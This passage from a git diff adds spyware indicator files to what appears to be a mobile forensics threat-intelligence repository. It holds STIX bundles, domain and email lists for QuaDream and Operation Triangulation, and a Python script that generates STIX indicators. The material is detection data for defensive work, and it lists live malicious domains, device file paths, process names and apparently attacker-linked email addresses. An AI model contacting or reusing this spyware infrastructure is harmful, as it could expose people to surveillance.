"relationship", + "spec_version": "2.1", + "id": "relationship--d7c052e1-b6dc-411b-878d-05c992e7b2cd", + "created": "2023-04-11T17:02:46.197162Z", + "modified": "2023-04-11T17:02:46.197162Z", + "relationship_type": "indicates", + "source_ref": "indicator--b8f58d86-8097-4544-a511-dc4f9c45148b", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--18b501bd-f73d-48eb-9efa-feb06cfb706c", + "created": "2023-04-11T17:02:46.19734Z", + "modified": "2023-04-11T17:02:46.19734Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='foodyplates.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.19734Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c7b559c-439d-434b-a73f-ddf1cc49ceb6", + "created": "2023-04-11T17:02:46.197944Z", + "modified": "2023-04-11T17:02:46.197944Z", + "relationship_type": "indicates", + "source_ref": "indicator--18b501bd-f73d-48eb-9efa-feb06cfb706c", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ec6bf718-02d6-4bea-bccf-afdc89fe58ec", + "created": "2023-04-11T17:02:46.198126Z", + "modified": "2023-04-11T17:02:46.198126Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='novinite.biz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.198126Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cf9cff7d-9c58-4c9f-b7ed-859e5a7e7911", + "created": "2023-04-11T17:02:46.198836Z", + "modified": "2023-04-11T17:02:46.198836Z", + "relationship_type": "indicates", + "source_ref": "indicator--ec6bf718-02d6-4bea-bccf-afdc89fe58ec", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--52e525d7-4954-401f-bfd6-3da0d918589b", + "created": "2023-04-11T17:02:46.199019Z", + "modified": "2023-04-11T17:02:46.199019Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='healthcovid19.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.199019Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c136ae03-35ac-4bd0-98ca-cf84c1807b8e", + "created": "2023-04-11T17:02:46.19979Z", + "modified": "2023-04-11T17:02:46.19979Z", + "relationship_type": "indicates", + "source_ref": "indicator--52e525d7-4954-401f-bfd6-3da0d918589b", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d6462d2-05e5-4cba-85b0-ebc4399d4a20", + "created": "2023-04-11T17:02:46.199971Z", + "modified": "2023-04-11T17:02:46.199971Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sidelot.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.199971Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a99cf1d3-8f67-4b5c-be1d-9bab23c0fc4a", + "created": "2023-04-11T17:02:46.200573Z", + "modified": "2023-04-11T17:02:46.200573Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d6462d2-05e5-4cba-85b0-ebc4399d4a20", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c06d8130-f905-43c1-accf-ddef92d01821", + "created": "2023-04-11T17:02:46.200752Z", + "modified": "2023-04-11T17:02:46.200752Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='whiteandpiink.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.200752Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e231fe52-16ee-44bb-bd2c-fa55121db0e8", + "created": "2023-04-11T17:02:46.20136Z", + "modified": "2023-04-11T17:02:46.20136Z", + "relationship_type": "indicates", + "source_ref": "indicator--c06d8130-f905-43c1-accf-ddef92d01821", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a5b0822-7039-4b4a-8f4c-18554480d94f", + "created": "2023-04-11T17:02:46.201541Z", + "modified": "2023-04-11T17:02:46.201541Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gamingcolonys.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.201541Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2203fcef-89b5-4174-aa95-f69640223431", + "created": "2023-04-11T17:02:46.202148Z", + "modified": "2023-04-11T17:02:46.202148Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a5b0822-7039-4b4a-8f4c-18554480d94f", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6c5a80af-f5f5-4c96-a9bf-65ef302323bc", + "created": "2023-04-11T17:02:46.202325Z", + "modified": "2023-04-11T17:02:46.202325Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='job4uhunt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.202325Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16ef34c5-c9dc-4794-8979-553ab3096865", + "created": "2023-04-11T17:02:46.202925Z", + "modified": "2023-04-11T17:02:46.202925Z", + "relationship_type": "indicates", + "source_ref": "indicator--6c5a80af-f5f5-4c96-a9bf-65ef302323bc", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1a1b32cc-9881-429a-9c23-5c4ce6e0b811", + "created": "2023-04-11T17:02:46.203111Z", + "modified": "2023-04-11T17:02:46.203111Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='recovery-plan.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.203111Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7e27c5fc-5835-479f-a3cb-6250a88149b4", + "created": "2023-04-11T17:02:46.203722Z", + "modified": "2023-04-11T17:02:46.203722Z", + "relationship_type": "indicates", + "source_ref": "indicator--1a1b32cc-9881-429a-9c23-5c4ce6e0b811", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3e3f0ff9-6105-4526-961a-7afefe8195e0", + "created": "2023-04-11T17:02:46.203915Z", + "modified": "2023-04-11T17:02:46.203915Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='careerhub4u.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.203915Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1f27bfc6-a98b-47da-951f-277c8eeca0e2", + "created": "2023-04-11T17:02:46.204526Z", + "modified": "2023-04-11T17:02:46.204526Z", + "relationship_type": "indicates", + "source_ref": "indicator--3e3f0ff9-6105-4526-961a-7afefe8195e0", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bb6a2092-2cd5-4410-8223-5fc4b9476a4f", + "created": "2023-04-11T17:02:46.204704Z", + "modified": "2023-04-11T17:02:46.204704Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='takebreak.io']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.204704Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a7c34256-1b4c-48d1-a30f-b15d619a3b92", + "created": "2023-04-11T17:02:46.205308Z", + "modified": "2023-04-11T17:02:46.205308Z", + "relationship_type": "indicates", + "source_ref": "indicator--bb6a2092-2cd5-4410-8223-5fc4b9476a4f", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cc4a1815-a5ea-4f3d-9752-82b5269805b4", + "created": "2023-04-11T17:02:46.205486Z", + "modified": "2023-04-11T17:02:46.205486Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fullaniimal.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.205486Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9fca9612-4d34-4916-aaac-2ba063e4d7dc", + "created": "2023-04-11T17:02:46.206204Z", + "modified": "2023-04-11T17:02:46.206204Z", + "relationship_type": "indicates", + "source_ref": "indicator--cc4a1815-a5ea-4f3d-9752-82b5269805b4", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--884768ab-4885-4bc5-a94f-c3fbfb556a68", + "created": "2023-04-11T17:02:46.206389Z", + "modified": "2023-04-11T17:02:46.206389Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/db/com.apple.xpc.roleaccountd.staging/subridged']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.206389Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5acf86a4-3fca-4d13-aaa6-d7de840f4730", + "created": "2023-04-11T17:02:46.207733Z", + "modified": "2023-04-11T17:02:46.207733Z", + "relationship_type": "indicates", + "source_ref": "indicator--884768ab-4885-4bc5-a94f-c3fbfb556a68", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--836f1acb-530c-425b-b7a3-734cdd8f7313", + "created": "2023-04-11T17:02:46.207918Z", + "modified": "2023-04-11T17:02:46.207918Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/db/com.apple.xpc.roleaccountd.staging/PlugIns/fud.appex/']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.207918Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--31927018-11f5-4b46-956e-04fcfc213605", + "created": "2023-04-11T17:02:46.208733Z", + "modified": "2023-04-11T17:02:46.208733Z", + "relationship_type": "indicates", + "source_ref": "indicator--836f1acb-530c-425b-b7a3-734cdd8f7313", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--263b6be5-7467-4672-b8f4-7f5384f534ac", + "created": "2023-04-11T17:02:46.208915Z", + "modified": "2023-04-11T17:02:46.208915Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[process:name='com.apple.avcapture']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.208915Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6991cedb-5622-497d-9cf4-2fb15a729b04", + "created": "2023-04-11T17:02:46.209854Z", + "modified": "2023-04-11T17:02:46.209854Z", + "relationship_type": "indicates", + "source_ref": "indicator--263b6be5-7467-4672-b8f4-7f5384f534ac", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + } + ] +} \ No newline at end of file diff --git a/data/ioc/spyware/mvt/2023-04-11_quadream/processes.txt b/data/ioc/spyware/mvt/2023-04-11_quadream/processes.txt new file mode 100644 index 0000000..25f1cdd --- /dev/null +++ b/data/ioc/spyware/mvt/2023-04-11_quadream/processes.txt @@ -0,0 +1 @@ +com.apple.avcapture diff --git a/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/domains.txt b/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/domains.txt new file mode 100644 index 0000000..b2b3591 --- /dev/null +++ b/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/domains.txt @@ -0,0 +1,76 @@ + +8181data.com +adcreatorfree.net +addatamarket.net +adsfreetracking.com +adsspacefree.com +adtreks.net +ans7tv.net +anstv.net +baba8861.com +backuprabbit.com +balancedcistern.com +beifang6688.com +bestnewsfeed.net +bestonlineads.net +businessvideonews.com +click-farm.net +cloudsponcer.com +cloudyundat.com +crowd-tracking.com +cruxness.com +datamarketplace.net +dreamshoppingphoto.com +edgeserverapi.com +fastads4free.com +fastfindads.net +floranewstoday.net +freeaddelivery.com +freeadvertisementsonline.com +futebolnoticia.net +globalpromonet.com +growthtransport.com +haidishabu.com +healthymarshmellow.com +improvingfitness.net +kickoffortea.com +koppercables.com +mechanicsfoundry.com +mediaclickers.net +mediumgates.com +mobilegamerstats.com +mysyncs.com +networkaccessory.com +nimbulusdrifting.net +onlineadvalue.com +pandabeachmetrics.com +papershopclip.com +perksync.com +pleekerion.com +qinggang26.com +quickdatafeed.com +regionalcdn.net +scoreclicks.com +senlin83.com +smartsavingmarketing.com +snoweeanalytics.com +statherder.com +static3video.com +stretchingnoun.com +swimporchingnow.com +tagclick-cdn.com +tangpingzy.com +tempoinformacao.net +tenvmms.cloud +titanhound.com +topographyupdates.com +tradeadvantages.com +unlimitedteacup.com +updateads.net +updatedadsfree.com +virtuallaughing.com +weathercasting.net +web-trackers.com +wheelgroupmarketing.com +windpoweredalgae.com +yuxbaozh1.com diff --git a/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/emails.txt b/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/emails.txt new file mode 100644 index 0000000..5426412 --- /dev/null +++ b/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/emails.txt @@ -0,0 +1,36 @@ +travislong544@yahoo.com +norsarall87@outlook.com +jesteristhebestband@gmail.com +christineashleysmith@gmail.com +homicidalwombat@yahoo.com +nigelmlevy@gmail.com +supercatman15@hotmail.com +shannonkelly404@gmail.com +superhugger21@gmail.com +parkourdiva@yahoo.com +naturelover1972@outlook.com +sasquatchdreams@outlook.com +trunkfullofbeans@yahoo.com +danielhbarnes2@gmail.com +patriotsman121@gmail.com +wheelsordoors@yahoo.com +janahodges324@gmail.com +mibarham@outlook.com +tinyjax89@gmail.com +nonbaguette@yahoo.com +slbrimms96@outlook.com +costamaria91@outlook.com +hyechink97@gmail.com +greatoleg9393@mail.com +popanddangle@outlook.com +maxjar90@mail.com +chongwonnam@gmail.com +wopperplopper1@aol.com +bajablaster101@gmail.com +carlson31773@outlook.com +fsozgur@outlook.com +soccerchk835@gmail.com +stephamartinez122@gmail.com +popcornkerner@gmail.com +pupperoni1989@outlook.com +biglesterjames5@gmail.com diff --git a/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/generate_stix.py b/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/generate_stix.py new file mode 100644 index 0000000..5eabe9d --- /dev/null +++ b/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/generate_stix.py @@ -0,0 +1,42 @@ +import sys +import os +from stix2.v21 import (Indicator, Malware, Relationship, Bundle, DomainName) + + +if __name__ == "__main__": + malware_name = "OperationTriangulation" + stix_name = "operation_triangulation.stix2" + if os.path.isfile(stix_name): + os.remove(stix_name) + + with open("domains.txt") as f: + domains = list(set([a.strip() for a in f.read().split()])) + + with open("processes.txt") as f: + processes = list(set([a.strip() for a in f.read().split()])) + + with open("emails.txt") as f: + emails = list(set([a.strip() for a in f.read().split()])) + + res = [] + malware = Malware(name=malware_name, is_family=False, description="IOCs related to Operation Triangulation iOS spyware documented by Kaspersky Labs.") + res.append(malware) + for d in domains: + i = Indicator(indicator_types=["malicious-activity"], pattern="[domain-name:value='{}']".format(d), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for p in processes: + i = Indicator(indicator_types=["malicious-activity"], pattern="[process:name='{}']".format(p), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for e in emails: + i = Indicator(indicator_types=["malicious-activity"], pattern="[email-addr:value='{}']".format(e), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + bundle = Bundle(objects=res) + with open(stix_name, "w+") as f: + f.write(bundle.serialize(indent=4)) + print("{} file created".format(stix_name)) diff --git a/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/operation_triangulation.stix2 b/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/operation_triangulation.stix2 new file mode 100644 index 0000000..d3575e7 --- /dev/null +++ b/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/operation_triangulation.stix2 @@ -0,0 +1,2704 @@ +{ + "type": "bundle", + "id": "bundle--6c4ae57e-883d-4235-8994-056463d2dbf2", + "objects": [ + { + "type": "malware", + "spec_version": "2.1", + "id": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64", + "created": "2023-10-23T15:49:48.089255Z", + "modified": "2023-10-23T15:49:48.089255Z", + "name": "OperationTriangulation", + "description": "IOCs related to Operation Triangulation iOS spyware documented by Kaspersky Labs.", + "is_family": false + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5788b5b-128f-43f2-b5f5-02f8055d4700", + "created": "2023-10-23T15:49:48.089417Z", + "modified": "2023-10-23T15:49:48.089417Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='senlin83.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.089417Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--52da4e9a-3a22-4681-94db-e7ce3ec5b6d5", + "created": "2023-10-23T15:49:48.09267Z", + "modified": "2023-10-23T15:49:48.09267Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5788b5b-128f-43f2-b5f5-02f8055d4700", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--90a3e899-c7b8-480f-842f-86baf929a3b8", + "created": "2023-10-23T15:49:48.093005Z", + "modified": "2023-10-23T15:49:48.093005Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='backuprabbit.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.093005Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--824ac4a8-9fd3-4909-94ea-5f25a2665829", + "created": "2023-10-23T15:49:48.093516Z", + "modified": "2023-10-23T15:49:48.093516Z", + "relationship_type": "indicates", + "source_ref": "indicator--90a3e899-c7b8-480f-842f-86baf929a3b8", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--25a50924-1002-479e-a5bd-ee5f9f96fa20", + "created": "2023-10-23T15:49:48.093604Z", + "modified": "2023-10-23T15:49:48.093604Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fastads4free.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.093604Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--219c3e0a-0990-47c1-b61c-ea1567243462", + "created": "2023-10-23T15:49:48.093992Z", + "modified": "2023-10-23T15:49:48.093992Z", + "relationship_type": "indicates", + "source_ref": "indicator--25a50924-1002-479e-a5bd-ee5f9f96fa20", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e3a9478e-95a8-4dce-89b1-028ee7504ced", + "created": "2023-10-23T15:49:48.094078Z", + "modified": "2023-10-23T15:49:48.094078Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nimbulusdrifting.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.094078Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fc4ee51e-50cf-44c9-bc2f-4cdf0dd0270a", + "created": "2023-10-23T15:49:48.094409Z", + "modified": "2023-10-23T15:49:48.094409Z", + "relationship_type": "indicates", + "source_ref": "indicator--e3a9478e-95a8-4dce-89b1-028ee7504ced", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eca963f0-7a99-4841-9343-dad5f14c0ec7", + "created": "2023-10-23T15:49:48.094499Z", + "modified": "2023-10-23T15:49:48.094499Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pandabeachmetrics.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.094499Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--359be11a-67f9-4df1-bf29-758f4fdc4d41", + "created": "2023-10-23T15:49:48.094859Z", + "modified": "2023-10-23T15:49:48.094859Z", + "relationship_type": "indicates", + "source_ref": "indicator--eca963f0-7a99-4841-9343-dad5f14c0ec7", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9384e42c-2d13-4f74-91fc-167e299d8fba", + "created": "2023-10-23T15:49:48.094942Z", + "modified": "2023-10-23T15:49:48.094942Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='qinggang26.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.094942Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3510a9c1-714b-443c-b624-2cf190d4c7c7", + "created": "2023-10-23T15:49:48.095278Z", + "modified": "2023-10-23T15:49:48.095278Z", + "relationship_type": "indicates", + "source_ref": "indicator--9384e42c-2d13-4f74-91fc-167e299d8fba", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--05a993aa-484d-44f7-aa90-f4b221a249e5", + "created": "2023-10-23T15:49:48.095362Z", + "modified": "2023-10-23T15:49:48.095362Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='growthtransport.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.095362Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8bfa37e1-1fa5-418e-86bf-9e460698d869", + "created": "2023-10-23T15:49:48.095688Z", + "modified": "2023-10-23T15:49:48.095688Z", + "relationship_type": "indicates", + "source_ref": "indicator--05a993aa-484d-44f7-aa90-f4b221a249e5", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--99ac58b2-1717-4625-b899-582103e659dd", + "created": "2023-10-23T15:49:48.095805Z", + "modified": "2023-10-23T15:49:48.095805Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tangpingzy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.095805Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--df7f0f33-8090-4774-809d-291ebd92b5c0", + "created": "2023-10-23T15:49:48.096187Z", + "modified": "2023-10-23T15:49:48.096187Z", + "relationship_type": "indicates", + "source_ref": "indicator--99ac58b2-1717-4625-b899-582103e659dd", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eaa346d4-97b3-47aa-8c58-aa2a7edb66f4", + "created": "2023-10-23T15:49:48.096272Z", + "modified": "2023-10-23T15:49:48.096272Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='papershopclip.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.096272Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3c00fbbf-3cb8-47ff-a01a-04d549438aeb", + "created": "2023-10-23T15:49:48.096525Z", + "modified": "2023-10-23T15:49:48.096525Z", + "relationship_type": "indicates", + "source_ref": "indicator--eaa346d4-97b3-47aa-8c58-aa2a7edb66f4", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--64f79069-6657-48ee-8d79-e43b51937815", + "created": "2023-10-23T15:49:48.096605Z", + "modified": "2023-10-23T15:49:48.096605Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mobilegamerstats.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.096605Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--32512158-2ccf-4acb-bd95-5ec8f1ccad8f", + "created": "2023-10-23T15:49:48.096881Z", + "modified": "2023-10-23T15:49:48.096881Z", + "relationship_type": "indicates", + "source_ref": "indicator--64f79069-6657-48ee-8d79-e43b51937815", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ff575b30-21cb-44e8-9088-01d59f8b8920", + "created": "2023-10-23T15:49:48.096961Z", + "modified": "2023-10-23T15:49:48.096961Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='web-trackers.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.096961Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4197601d-665c-48f2-950e-96cfc713b63b", + "created": "2023-10-23T15:49:48.097263Z", + "modified": "2023-10-23T15:49:48.097263Z", + "relationship_type": "indicates", + "source_ref": "indicator--ff575b30-21cb-44e8-9088-01d59f8b8920", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a1cb46a8-6d4e-4039-8e4e-8b1e2f4dea42", + "created": "2023-10-23T15:49:48.097341Z", + "modified": "2023-10-23T15:49:48.097341Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mechanicsfoundry.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.097341Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cb78fdc0-0528-4702-a68f-a01a5b1dc1db", + "created": "2023-10-23T15:49:48.097589Z", + "modified": "2023-10-23T15:49:48.097589Z", + "relationship_type": "indicates", + "source_ref": "indicator--a1cb46a8-6d4e-4039-8e4e-8b1e2f4dea42", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--de8ffdd9-b87d-470c-9953-120c3051b97c", + "created": "2023-10-23T15:49:48.097665Z", + "modified": "2023-10-23T15:49:48.097665Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='quickdatafeed.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.097665Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bdf6d9e0-5b06-445c-8143-53e1a544d6e1", + "created": "2023-10-23T15:49:48.097901Z", + "modified": "2023-10-23T15:49:48.097901Z", + "relationship_type": "indicates", + "source_ref": "indicator--de8ffdd9-b87d-470c-9953-120c3051b97c", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9ef5fd65-0d3c-4f66-af40-71dc1d4d9189", + "created": "2023-10-23T15:49:48.097977Z", + "modified": "2023-10-23T15:49:48.097977Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='regionalcdn.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.097977Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--679e7f17-ab6b-4281-81ac-809ada83b4a2", + "created": "2023-10-23T15:49:48.098317Z", + "modified": "2023-10-23T15:49:48.098317Z", + "relationship_type": "indicates", + "source_ref": "indicator--9ef5fd65-0d3c-4f66-af40-71dc1d4d9189", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1f3cae52-8dbf-49e0-89f1-016b3013b637", + "created": "2023-10-23T15:49:48.098393Z", + "modified": "2023-10-23T15:49:48.098393Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='virtuallaughing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.098393Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6aa3d581-1af1-49c1-b0b6-9ad22aebc882", + "created": "2023-10-23T15:49:48.098662Z", + "modified": "2023-10-23T15:49:48.098662Z", + "relationship_type": "indicates", + "source_ref": "indicator--1f3cae52-8dbf-49e0-89f1-016b3013b637", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae815af1-c40d-4134-9497-f347c582d968", + "created": "2023-10-23T15:49:48.098736Z", + "modified": "2023-10-23T15:49:48.098736Z", + 